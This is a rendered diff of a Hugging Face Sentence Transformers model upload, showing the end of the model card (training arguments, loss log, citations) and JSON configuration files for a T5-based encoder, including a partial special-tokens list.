- `lr_scheduler_type`: linear
|
966 |
+
- `lr_scheduler_kwargs`: {}
|
967 |
+
- `warmup_ratio`: 0.0
|
968 |
+
- `warmup_steps`: 0
|
969 |
+
- `log_level`: passive
|
970 |
+
- `log_level_replica`: warning
|
971 |
+
- `log_on_each_node`: True
|
972 |
+
- `logging_nan_inf_filter`: True
|
973 |
+
- `save_safetensors`: True
|
974 |
+
- `save_on_each_node`: False
|
975 |
+
- `save_only_model`: False
|
976 |
+
- `restore_callback_states_from_checkpoint`: False
|
977 |
+
- `no_cuda`: False
|
978 |
+
- `use_cpu`: False
|
979 |
+
- `use_mps_device`: False
|
980 |
+
- `seed`: 42
|
981 |
+
- `data_seed`: None
|
982 |
+
- `jit_mode_eval`: False
|
983 |
+
- `use_ipex`: False
|
984 |
+
- `bf16`: False
|
985 |
+
- `fp16`: False
|
986 |
+
- `fp16_opt_level`: O1
|
987 |
+
- `half_precision_backend`: auto
|
988 |
+
- `bf16_full_eval`: False
|
989 |
+
- `fp16_full_eval`: False
|
990 |
+
- `tf32`: None
|
991 |
+
- `local_rank`: 0
|
992 |
+
- `ddp_backend`: None
|
993 |
+
- `tpu_num_cores`: None
|
994 |
+
- `tpu_metrics_debug`: False
|
995 |
+
- `debug`: []
|
996 |
+
- `dataloader_drop_last`: False
|
997 |
+
- `dataloader_num_workers`: 0
|
998 |
+
- `dataloader_prefetch_factor`: None
|
999 |
+
- `past_index`: -1
|
1000 |
+
- `disable_tqdm`: False
|
1001 |
+
- `remove_unused_columns`: True
|
1002 |
+
- `label_names`: None
|
1003 |
+
- `load_best_model_at_end`: False
|
1004 |
+
- `ignore_data_skip`: False
|
1005 |
+
- `fsdp`: []
|
1006 |
+
- `fsdp_min_num_params`: 0
|
1007 |
+
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
|
1008 |
+
- `fsdp_transformer_layer_cls_to_wrap`: None
|
1009 |
+
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
|
1010 |
+
- `deepspeed`: None
|
1011 |
+
- `label_smoothing_factor`: 0.0
|
1012 |
+
- `optim`: adamw_torch
|
1013 |
+
- `optim_args`: None
|
1014 |
+
- `adafactor`: False
|
1015 |
+
- `group_by_length`: False
|
1016 |
+
- `length_column_name`: length
|
1017 |
+
- `ddp_find_unused_parameters`: None
|
1018 |
+
- `ddp_bucket_cap_mb`: None
|
1019 |
+
- `ddp_broadcast_buffers`: False
|
1020 |
+
- `dataloader_pin_memory`: True
|
1021 |
+
- `dataloader_persistent_workers`: False
|
1022 |
+
- `skip_memory_metrics`: True
|
1023 |
+
- `use_legacy_prediction_loop`: False
|
1024 |
+
- `push_to_hub`: False
|
1025 |
+
- `resume_from_checkpoint`: None
|
1026 |
+
- `hub_model_id`: None
|
1027 |
+
- `hub_strategy`: every_save
|
1028 |
+
- `hub_private_repo`: None
|
1029 |
+
- `hub_always_push`: False
|
1030 |
+
- `gradient_checkpointing`: False
|
1031 |
+
- `gradient_checkpointing_kwargs`: None
|
1032 |
+
- `include_inputs_for_metrics`: False
|
1033 |
+
- `include_for_metrics`: []
|
1034 |
+
- `eval_do_concat_batches`: True
|
1035 |
+
- `fp16_backend`: auto
|
1036 |
+
- `push_to_hub_model_id`: None
|
1037 |
+
- `push_to_hub_organization`: None
|
1038 |
+
- `mp_parameters`:
|
1039 |
+
- `auto_find_batch_size`: False
|
1040 |
+
- `full_determinism`: False
|
1041 |
+
- `torchdynamo`: None
|
1042 |
+
- `ray_scope`: last
|
1043 |
+
- `ddp_timeout`: 1800
|
1044 |
+
- `torch_compile`: False
|
1045 |
+
- `torch_compile_backend`: None
|
1046 |
+
- `torch_compile_mode`: None
|
1047 |
+
- `include_tokens_per_second`: False
|
1048 |
+
- `include_num_input_tokens_seen`: False
|
1049 |
+
- `neftune_noise_alpha`: None
|
1050 |
+
- `optim_target_modules`: None
|
1051 |
+
- `batch_eval_metrics`: False
|
1052 |
+
- `eval_on_start`: False
|
1053 |
+
- `use_liger_kernel`: False
|
1054 |
+
- `eval_use_gather_object`: False
|
1055 |
+
- `average_tokens_across_devices`: False
|
1056 |
+
- `prompts`: None
|
1057 |
+
- `batch_sampler`: batch_sampler
|
1058 |
+
- `multi_dataset_batch_sampler`: round_robin
|
1059 |
+
|
1060 |
+
</details>
|
1061 |
+
|
1062 |
+
### Training Logs
|
1063 |
+
| Epoch | Step | Training Loss |
|
1064 |
+
|:------:|:----:|:-------------:|
|
1065 |
+
| 0.2393 | 500 | 0.2122 |
|
1066 |
+
| 0.4787 | 1000 | 0.1686 |
|
1067 |
+
| 0.7180 | 1500 | 0.2193 |
|
1068 |
+
| 0.9574 | 2000 | 0.2084 |
|
1069 |
+
|
1070 |
+
|
1071 |
+
### Framework Versions
|
1072 |
+
- Python: 3.11.13
|
1073 |
+
- Sentence Transformers: 4.1.0
|
1074 |
+
- Transformers: 4.52.4
|
1075 |
+
- PyTorch: 2.6.0+cu124
|
1076 |
+
- Accelerate: 1.7.0
|
1077 |
+
- Datasets: 3.6.0
|
1078 |
+
- Tokenizers: 0.21.1
|
1079 |
+
|
1080 |
+
## Citation
|
1081 |
+
|
1082 |
+
### BibTeX
|
1083 |
+
|
1084 |
+
#### Sentence Transformers
|
1085 |
+
```bibtex
|
1086 |
+
@inproceedings{reimers-2019-sentence-bert,
|
1087 |
+
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
|
1088 |
+
author = "Reimers, Nils and Gurevych, Iryna",
|
1089 |
+
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
|
1090 |
+
month = "11",
|
1091 |
+
year = "2019",
|
1092 |
+
publisher = "Association for Computational Linguistics",
|
1093 |
+
url = "https://arxiv.org/abs/1908.10084",
|
1094 |
+
}
|
1095 |
+
```
|
1096 |
+
|
1097 |
+
#### BatchAllTripletLoss
|
1098 |
+
```bibtex
|
1099 |
+
@misc{hermans2017defense,
|
1100 |
+
title={In Defense of the Triplet Loss for Person Re-Identification},
|
1101 |
+
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
|
1102 |
+
year={2017},
|
1103 |
+
eprint={1703.07737},
|
1104 |
+
archivePrefix={arXiv},
|
1105 |
+
primaryClass={cs.CV}
|
1106 |
+
}
|
1107 |
+
```
|
1108 |
+
|
1109 |
+
<!--
|
1110 |
+
## Glossary
|
1111 |
+
|
1112 |
+
*Clearly define terms in order to be accessible across audiences.*
|
1113 |
+
-->
|
1114 |
+
|
1115 |
+
<!--
|
1116 |
+
## Model Card Authors
|
1117 |
+
|
1118 |
+
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
|
1119 |
+
-->
|
1120 |
+
|
1121 |
+
<!--
|
1122 |
+
## Model Card Contact
|
1123 |
+
|
1124 |
+
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
|
1125 |
+
-->
|
config.json
ADDED
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"architectures": [
|
3 |
+
"T5EncoderModel"
|
4 |
+
],
|
5 |
+
"bos_token_id": 1,
|
6 |
+
"classifier_dropout": 0.0,
|
7 |
+
"d_ff": 2048,
|
8 |
+
"d_kv": 64,
|
9 |
+
"d_model": 512,
|
10 |
+
"decoder_start_token_id": 0,
|
11 |
+
"dense_act_fn": "relu",
|
12 |
+
"dropout_rate": 0.1,
|
13 |
+
"eos_token_id": 2,
|
14 |
+
"feed_forward_proj": "relu",
|
15 |
+
"gradient_checkpointing": false,
|
16 |
+
"id2label": {
|
17 |
+
"0": "LABEL_0"
|
18 |
+
},
|
19 |
+
"initializer_factor": 1.0,
|
20 |
+
"is_encoder_decoder": true,
|
21 |
+
"is_gated_act": false,
|
22 |
+
"label2id": {
|
23 |
+
"LABEL_0": 0
|
24 |
+
},
|
25 |
+
"layer_norm_epsilon": 1e-06,
|
26 |
+
"model_type": "t5",
|
27 |
+
"n_positions": 512,
|
28 |
+
"num_decoder_layers": 6,
|
29 |
+
"num_heads": 8,
|
30 |
+
"num_layers": 6,
|
31 |
+
"output_past": true,
|
32 |
+
"pad_token_id": 0,
|
33 |
+
"relative_attention_max_distance": 128,
|
34 |
+
"relative_attention_num_buckets": 32,
|
35 |
+
"task_specific_params": {
|
36 |
+
"summarization": {
|
37 |
+
"early_stopping": true,
|
38 |
+
"length_penalty": 2.0,
|
39 |
+
"max_length": 200,
|
40 |
+
"min_length": 30,
|
41 |
+
"no_repeat_ngram_size": 3,
|
42 |
+
"num_beams": 4,
|
43 |
+
"prefix": "summarize: "
|
44 |
+
},
|
45 |
+
"translation_en_to_de": {
|
46 |
+
"early_stopping": true,
|
47 |
+
"max_length": 300,
|
48 |
+
"num_beams": 4,
|
49 |
+
"prefix": "translate English to German: "
|
50 |
+
},
|
51 |
+
"translation_en_to_fr": {
|
52 |
+
"early_stopping": true,
|
53 |
+
"max_length": 300,
|
54 |
+
"num_beams": 4,
|
55 |
+
"prefix": "translate English to French: "
|
56 |
+
},
|
57 |
+
"translation_en_to_ro": {
|
58 |
+
"early_stopping": true,
|
59 |
+
"max_length": 300,
|
60 |
+
"num_beams": 4,
|
61 |
+
"prefix": "translate English to Romanian: "
|
62 |
+
}
|
63 |
+
},
|
64 |
+
"torch_dtype": "float32",
|
65 |
+
"transformers_version": "4.52.4",
|
66 |
+
"use_cache": true,
|
67 |
+
"vocab_size": 32100
|
68 |
+
}
|
config_sentence_transformers.json
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"__version__": {
|
3 |
+
"sentence_transformers": "4.1.0",
|
4 |
+
"transformers": "4.52.4",
|
5 |
+
"pytorch": "2.6.0+cu124"
|
6 |
+
},
|
7 |
+
"prompts": {},
|
8 |
+
"default_prompt_name": null,
|
9 |
+
"similarity_fn_name": "cosine"
|
10 |
+
}
|
merges.txt
ADDED
The diff for this file is too large to render.
See raw diff
|
|
model.safetensors
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:18cbc971ab4fc5b216ecd514c827989c5d0d4876332b93f472eaf37c6dec7b5f
|
3 |
+
size 141271856
|
modules.json
ADDED
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
[
|
2 |
+
{
|
3 |
+
"idx": 0,
|
4 |
+
"name": "0",
|
5 |
+
"path": "",
|
6 |
+
"type": "sentence_transformers.models.Transformer"
|
7 |
+
},
|
8 |
+
{
|
9 |
+
"idx": 1,
|
10 |
+
"name": "1",
|
11 |
+
"path": "1_Pooling",
|
12 |
+
"type": "sentence_transformers.models.Pooling"
|
13 |
+
}
|
14 |
+
]
|
sentence_bert_config.json
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"max_seq_length": 512,
|
3 |
+
"do_lower_case": false
|
4 |
+
}
|
special_tokens_map.json
ADDED
@@ -0,0 +1,753 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"additional_special_tokens": [
|
3 |
+
{
|
4 |
+
"content": "<extra_id_99>",
|
5 |
+
"lstrip": true,
|
6 |
+
"normalized": true,
|
7 |
+
"rstrip": false,
|
8 |
+
"single_word": false
|
9 |
+
},
|
10 |
+
{
|
11 |
+
"content": "<extra_id_98>",
|
12 |
+
"lstrip": true,
|
13 |
+
"normalized": true,
|
14 |
+
"rstrip": false,
|
15 |
+
"single_word": false
|
16 |
+
},
|
17 |
+
{
|
18 |
+
"content": "<extra_id_97>",
|
19 |
+
"lstrip": true,
|
20 |
+
"normalized": true,
|
21 |
+
"rstrip": false,
|
22 |
+
"single_word": false
|
23 |
+
},
|
24 |
+
{
|
25 |
+
"content": "<extra_id_96>",
|
26 |
+
"lstrip": true,
|
27 |
+
"normalized": true,
|
28 |
+
"rstrip": false,
|
29 |
+
"single_word": false
|
30 |
+
},
|
31 |
+
{
|
32 |
+
"content": "<extra_id_95>",
|
33 |
+
"lstrip": true,
|
34 |
+
"normalized": true,
|
35 |
+
"rstrip": false,
|
36 |
+
"single_word": false
|
37 |
+
},
|
38 |
+
{
|
39 |
+
"content": "<extra_id_94>",
|
40 |
+
"lstrip": true,
|
41 |
+
"normalized": true,
|
42 |
+
"rstrip": false,
|
43 |
+
"single_word": false
|
44 |
+
},
|
45 |
+
{
|
46 |
+
"content": "<extra_id_93>",
|
47 |
+
"lstrip": true,
|
48 |
+
"normalized": true,
|
49 |
+
"rstrip": false,
|
50 |
+
"single_word": false
|
51 |
+
},
|
52 |
+
{
|
53 |
+
"content": "<extra_id_92>",
|
54 |
+
"lstrip": true,
|
55 |
+
"normalized": true,
|
56 |
+
"rstrip": false,
|
57 |
+
"single_word": false
|
58 |
+
},
|
59 |
+
{
|
60 |
+
"content": "<extra_id_91>",
|
61 |
+
"lstrip": true,
|
62 |
+
"normalized": true,
|
63 |
+
"rstrip": false,
|
64 |
+
"single_word": false
|
65 |
+
},
|
66 |
+
{
|
67 |
+
"content": "<extra_id_90>",
|
68 |
+
"lstrip": true,
|
69 |
+
"normalized": true,
|
70 |
+
"rstrip": false,
|
71 |
+
"single_word": false
|
72 |
+
},
|
73 |
+
{
|
74 |
+
"content": "<extra_id_89>",
|
75 |
+
"lstrip": true,
|
76 |
+
"normalized": true,
|
77 |
+
"rstrip": false,
|
78 |
+
"single_word": false
|
79 |
+
},
|
80 |
+
{
|
81 |
+
"content": "<extra_id_88>",
|
82 |
+
"lstrip": true,
|
83 |
+
"normalized": true,
|
84 |
+
"rstrip": false,
|
85 |
+
"single_word": false
|
86 |
+
},
|
87 |
+
{
|
88 |
+
"content": "<extra_id_87>",
|
89 |
+
"lstrip": true,
|
90 |
+
"normalized": true,
|
91 |
+
"rstrip": false,
|
92 |
+
"single_word": false
|
93 |
+
},
|
94 |
+
{
|
95 |
+
"content": "<extra_id_86>",
|
96 |
+
"lstrip": true,
|
97 |
+
"normalized": true,
|
98 |
+
"rstrip": false,
|
99 |
+
"single_word": false
|
100 |
+
},
|
101 |
+
{
|
102 |
+
"content": "<extra_id_85>",
|
103 |
+
"lstrip": true,
|
104 |
+
"normalized": true,
|
105 |
+
"rstrip": false,
|
106 |
+
"single_word": false
|
107 |
+
},
|
108 |
+
{
|
109 |
+
"content": "<extra_id_84>",
|
110 |
+
"lstrip": true,
|
111 |
+
"normalized": true,
|
112 |
+
"rstrip": false,
|
113 |
+
"single_word": false
|
114 |
+
},
|
115 |
+
{
|
116 |
+
"content": "<extra_id_83>",
|
117 |
+
"lstrip": true,
|
118 |
+
"normalized": true,
|
119 |
+
"rstrip": false,
|
120 |
+
"single_word": false
|
121 |
+
},
|
122 |
+
{
|
123 |
+
"content": "<extra_id_82>",
|
124 |
+
"lstrip": true,
|
125 |
+
"normalized": true,
|
126 |
+
"rstrip": false,
|
127 |
+
"single_word": false
|
128 |
+
},
|
129 |
+
{
|
130 |
+
"content": "<extra_id_81>",
|
131 |
+
"lstrip": true,
|
132 |
+
"normalized": true,
|
133 |
+
"rstrip": false,
|
134 |
+
"single_word": false
|
135 |
+
},
|
136 |
+
{
|
137 |
+
"content": "<extra_id_80>",
|
138 |
+
"lstrip": true,
|
139 |
+
"normalized": true,
|
140 |
+
"rstrip": false,
|
141 |
+
"single_word": false
|
142 |
+
},
|
143 |
+
{
|
144 |
+
"content": "<extra_id_79>",
|
145 |
+
"lstrip": true,
|
146 |
+
"normalized": true,
|
147 |
+
"rstrip": false,
|
148 |
+
"single_word": false
|
149 |
+
},
|
150 |
+
{
|
151 |
+
"content": "<extra_id_78>",
|
152 |
+
"lstrip": true,
|
153 |
+
"normalized": true,
|
154 |
+
"rstrip": false,
|
155 |
+
"single_word": false
|
156 |
+
},
|
157 |
+
{
|
158 |
+
"content": "<extra_id_77>",
|
159 |
+
"lstrip": true,
|
160 |
+
"normalized": true,
|
161 |
+
"rstrip": false,
|
162 |
+
"single_word": false
|
163 |
+
},
|
164 |
+
{
|
165 |
+
"content": "<extra_id_76>",
|
166 |
+
"lstrip": true,
|
167 |
+
"normalized": true,
|
168 |
+
"rstrip": false,
|
169 |
+
"single_word": false
|
170 |
+
},
|
171 |
+
{
|
172 |
+
"content": "<extra_id_75>",
|
173 |
+
"lstrip": true,
|
174 |
+
"normalized": true,
|
175 |
+
"rstrip": false,
|
176 |
+
"single_word": false
|
177 |
+
},
|
178 |
+
{
|
179 |
+
"content": "<extra_id_74>",
|
180 |
+
"lstrip": true,
|
181 |
+
"normalized": true,
|
182 |
+
"rstrip": false,
|
183 |
+
"single_word": false
|
184 |
+
},
|
185 |
+
{
|
186 |
+
"content": "<extra_id_73>",
|
187 |
+
"lstrip": true,
|
188 |
+
"normalized": true,
|
189 |
+
"rstrip": false,
|
190 |
+
"single_word": false
|
191 |
+
},
|
192 |
+
{
|
193 |
+
"content": "<extra_id_72>",
|
194 |
+
"lstrip": true,
|
195 |
+
"normalized": true,
|
196 |
+
"rstrip": false,
|
197 |
+
"single_word": false
|
198 |
+
},
|
199 |
+
{
|
200 |
+
"content": "<extra_id_71>",
|
201 |
+
"lstrip": true,
|
202 |
+
"normalized": true,
|
203 |
+
"rstrip": false,
|
204 |
+
"single_word": false
|
205 |
+
},
|
206 |
+
{
|
207 |
+
"content": "<extra_id_70>",
|
208 |
+
"lstrip": true,
|
209 |
+
"normalized": true,
|
210 |
+
"rstrip": false,
|
211 |
+
"single_word": false
|
212 |
+
},
|
213 |
+
{
|
214 |
+
"content": "<extra_id_69>",
|
215 |
+
"lstrip": true,
|
216 |
+
"normalized": true,
|
217 |
+
"rstrip": false,
|
218 |
+
"single_word": false
|
219 |
+
},
|
220 |
+
{
|
221 |
+
"content": "<extra_id_68>",
|
222 |
+
"lstrip": true,
|
223 |
+
"normalized": true,
|
224 |
+
"rstrip": false,
|
225 |
+
"single_word": false
|
226 |
+
},
|
227 |
+
{
|
228 |
+
"content": "<extra_id_67>",
|
229 |
+
"lstrip": true,
|
230 |
+
"normalized": true,
|
231 |
+
"rstrip": false,
|
232 |
+
"single_word": false
|
233 |
+
},
|
234 |
+
{
|
235 |
+
"content": "<extra_id_66>",
|
236 |
+
"lstrip": true,
|
237 |
+
"normalized": true,
|
238 |
+
"rstrip": false,
|
239 |
+
"single_word": false
|
240 |
+
},
|
241 |
+
{
|
242 |
+
"content": "<extra_id_65>",
|
243 |
+
"lstrip": true,
|
244 |
+
"normalized": true,
|
245 |
+
"rstrip": false,
|
246 |
+
"single_word": false
|
247 |
+
},
|
248 |
+
{
|
249 |
+
"content": "<extra_id_64>",
|
250 |
+
"lstrip": true,
|
251 |
+
"normalized": true,
|
252 |
+
"rstrip": false,
|
253 |
+
"single_word": false
|
254 |
+
},
|
255 |
+
{
|
256 |
+
"content": "<extra_id_63>",
|
257 |
+
"lstrip": true,
|
258 |
+
"normalized": true,
|
259 |
+
"rstrip": false,
|
260 |
+
"single_word": false
|
261 |
+
},
|
262 |
+
{
|
263 |
+
"content": "<extra_id_62>",
|
264 |
+
"lstrip": true,
|
265 |
+
"normalized": true,
|
266 |
+
"rstrip": false,
|
267 |
+
"single_word": false
|
268 |
+
},
|
269 |
+
{
|
270 |
+
"content": "<extra_id_61>",
|
271 |
+
"lstrip": true,
|
272 |
+
"normalized": true,
|
273 |
+
"rstrip": false,
|
274 |
+
"single_word": false
|
275 |
+
},
|
276 |
+
{
|
277 |
+
"content": "<extra_id_60>",
|
278 |
+
"lstrip": true,
|
279 |
+
"normalized": true,
|
280 |
+
"rstrip": false,
|
281 |
+
"single_word": false
|
282 |
+
},
|
283 |
+
{
|
284 |
+
"content": "<extra_id_59>",
|
285 |
+
"lstrip": true,
|
286 |
+
"normalized": true,
|
287 |
+
"rstrip": false,
|
288 |
+
"single_word": false
|
289 |
+
},
|
290 |
+
{
|
291 |
+
"content": "<extra_id_58>",
|
292 |
+
"lstrip": true,
|
293 |
+
"normalized": true,
|
294 |
+
"rstrip": false,
|
295 |
+
"single_word": false
|
296 |
+
},
|
297 |
+
{
|
298 |
+
"content": "<extra_id_57>",
|
299 |
+
"lstrip": true,
|
300 |
+
"normalized": true,
|
301 |
+
"rstrip": false,
|
302 |
+
"single_word": false
|
303 |
+
},
|
304 |
+
{
|
305 |
+
"content": "<extra_id_56>",
|
306 |
+
"lstrip": true,
|
307 |
+
"normalized": true,
|
308 |
+
"rstrip": false,
|
309 |
+
"single_word": false
|
310 |
+
},
|
311 |
+
{
|
312 |
+
"content": "<extra_id_55>",
|
313 |
+
"lstrip": true,
|
314 |
+
"normalized": true,
|
315 |
+
"rstrip": false,
|
316 |
+
"single_word": false
|
317 |
+
},
|
318 |
+
{
|
319 |
+
"content": "<extra_id_54>",
|
320 |
+
"lstrip": true,
|
321 |
+
"normalized": true,
|
322 |
+
"rstrip": false,
|
323 |
+
"single_word": false
|
324 |
+
},
|
325 |
+
{
|
326 |
+
"content": "<extra_id_53>",
|
327 |
+
"lstrip": true,
|
328 |
+
"normalized": true,
|
329 |
+
"rstrip": false,
|
330 |
+
"single_word": false
|
331 |
+
},
|
332 |
+
{
|
333 |
+
"content": "<extra_id_52>",
|
334 |
+
"lstrip": true,
|
335 |
+
"normalized": true,
|
336 |
+
"rstrip": false,
|
337 |
+
"single_word": false
|
338 |
+
},
|
339 |
+
{
|
340 |
+
"content": "<extra_id_51>",
|
341 |
+
"lstrip": true,
|
342 |
+
"normalized": true,
|
343 |
+
"rstrip": false,
|
344 |
+
"single_word": false
|
345 |
+
},
|
346 |
+
{
|
347 |
+
"content": "<extra_id_50>",
|
348 |
+
"lstrip": true,
|
349 |
+
"normalized": true,
|
350 |
+
"rstrip": false,
|
351 |
+
"single_word": false
|
352 |
+
},
|
353 |
+
{
|
354 |
+
"content": "<extra_id_49>",
|
355 |
+
"lstrip": true,
|
356 |
+
"normalized": true,
|
357 |
+
"rstrip": false,
|
358 |
+
"single_word": false
|
359 |
+
},
|
360 |
+
{
|
361 |
+
"content": "<extra_id_48>",
|
362 |
+
"lstrip": true,
|
363 |
+
"normalized": true,
|
364 |
+
"rstrip": false,
|
365 |
+
"single_word": false
|
366 |
+
},
|
367 |
+
{
|
368 |
+
"content": "<extra_id_47>",
|
369 |
+
"lstrip": true,
|
370 |
+
"normalized": true,
|
371 |
+
"rstrip": false,
|
372 |
+
"single_word": false
|
373 |
+
},
|
374 |
+
{
|
375 |
+
"content": "<extra_id_46>",
|
376 |
+
"lstrip": true,
|
377 |
+
"normalized": true,
|
378 |
+
"rstrip": false,
|
379 |
+
"single_word": false
|
380 |
+
},
|
381 |
+
{
|
382 |
+
"content": "<extra_id_45>",
|
383 |
+
"lstrip": true,
|
384 |
+
"normalized": true,
|
385 |
+
"rstrip": false,
|
386 |
+
"single_word": false
|
387 |
+
},
|
388 |
+
{
|
389 |
+
"content": "<extra_id_44>",
|
390 |
+
"lstrip": true,
|
391 |
+
"normalized": true,
|
392 |
+
"rstrip": false,
|
393 |
+
"single_word": false
|
394 |
+
},
|
395 |
+
{
|
396 |
+
"content": "<extra_id_43>",
|
397 |
+
"lstrip": true,
|
398 |
+
"normalized": true,
|
399 |
+
"rstrip": false,
|
400 |
+
"single_word": false
|
401 |
+
},
|
402 |
+
{
|
403 |
+
"content": "<extra_id_42>",
|
404 |
+
"lstrip": true,
|
405 |
+
"normalized": true,
|
406 |
+
"rstrip": false,
|
407 |
+
"single_word": false
|
408 |
+
},
|
409 |
+
{
|
410 |
+
"content": "<extra_id_41>",
|
411 |
+
"lstrip": true,
|
412 |
+
"normalized": true,
|
413 |
+
"rstrip": false,
|
414 |
+
"single_word": false
|
415 |
+
},
|
416 |
+
{
|
417 |
+
"content": "<extra_id_40>",
|
418 |
+
"lstrip": true,
|
419 |
+
"normalized": true,
|
420 |
+
"rstrip": false,
|
421 |
+
"single_word": false
|
422 |
+
},
|
423 |
+
{
|
424 |
+
"content": "<extra_id_39>",
|
425 |
+
"lstrip": true,
|
426 |
+
"normalized": true,
|
427 |
+
"rstrip": false,
|
428 |
+
"single_word": false
|
429 |
+
},
|
430 |
+
{
|
431 |
+
"content": "<extra_id_38>",
|
432 |
+
"lstrip": true,
|
433 |
+
"normalized": true,
|
434 |
+
"rstrip": false,
|
435 |
+
"single_word": false
|
436 |
+
},
|
437 |
+
{
|
438 |
+
"content": "<extra_id_37>",
|
439 |
+
"lstrip": true,
|
440 |
+
"normalized": true,
|
441 |
+
"rstrip": false,
|
442 |
+
"single_word": false
|
443 |
+
},
|
444 |
+
{
|
445 |
+
"content": "<extra_id_36>",
|
446 |
+
"lstrip": true,
|
447 |
+
"normalized": true,
|
448 |
+
"rstrip": false,
|
449 |
+
"single_word": false
|
450 |
+
},
|
451 |
+
{
|
452 |
+
"content": "<extra_id_35>",
|
453 |
+
"lstrip": true,
|
454 |
+
"normalized": true,
|
455 |
+
"rstrip": false,
|
456 |
+
"single_word": false
|
457 |
+
},
|
458 |
+
{
|
459 |
+
"content": "<extra_id_34>",
|
460 |
+
"lstrip": true,
|
461 |
+
"normalized": true,
|
462 |
+
"rstrip": false,
|
463 |
+
"single_word": false
|
464 |
+
},
|
465 |
+
{
|
466 |
+
"content": "<extra_id_33>",
|
467 |
+
"lstrip": true,
|
468 |
+
"normalized": true,
|
469 |
+
"rstrip": false,
|
470 |
+
"single_word": false
|
471 |
+
},
|
472 |
+
{
|
473 |
+
"content": "<extra_id_32>",
|
474 |
+
"lstrip": true,
|
475 |
+
"normalized": true,
|
476 |
+
"rstrip": false,
|
477 |
+
"single_word": false
|
478 |
+
},
|
479 |
+
{
|
480 |
+
"content": "<extra_id_31>",
|
481 |
+
"lstrip": true,
|
482 |
+
"normalized": true,
|
483 |
+
"rstrip": false,
|
484 |
+
"single_word": false
|
485 |
+
},
|
486 |
+
{
|
487 |
+
"content": "<extra_id_30>",
|
488 |
+
"lstrip": true,
|
489 |
+
"normalized": true,
|
490 |
+
"rstrip": false,
|
491 |
+
"single_word": false
|
492 |
+
},
|
493 |
+
{
|
494 |
+
"content": "<extra_id_29>",
|
495 |
+
"lstrip": true,
|
496 |
+
"normalized": true,
|
497 |
+
"rstrip": false,
|
498 |
+
"single_word": false
|
499 |
+
},
|
500 |
+
{
|
501 |
+
"content": "<extra_id_28>",
|
502 |
+
"lstrip": true,
|
503 |
+
"normalized": true,
|
504 |
+
"rstrip": false,
|
505 |
+
"single_word": false
|
506 |
+
},
|
507 |
+
{
|
508 |
+
"content": "<extra_id_27>",
|
509 |
+
"lstrip": true,
|
510 |
+
"normalized": true,
|
511 |
+
"rstrip": false,
|
512 |
+
"single_word": false
|
513 |
+
},
|
514 |
+
{
|
515 |
+
"content": "<extra_id_26>",
|
516 |
+
"lstrip": true,
|
517 |
+
"normalized": true,
|
518 |
+
"rstrip": false,
|
519 |
+
"single_word": false
|
520 |
+
},
|
521 |
+
{
|
522 |
+
"content": "<extra_id_25>",
|
523 |
+
"lstrip": true,
|
524 |
+
"normalized": true,
|
525 |
+
"rstrip": false,
|
526 |
+
"single_word": false
|
527 |
+
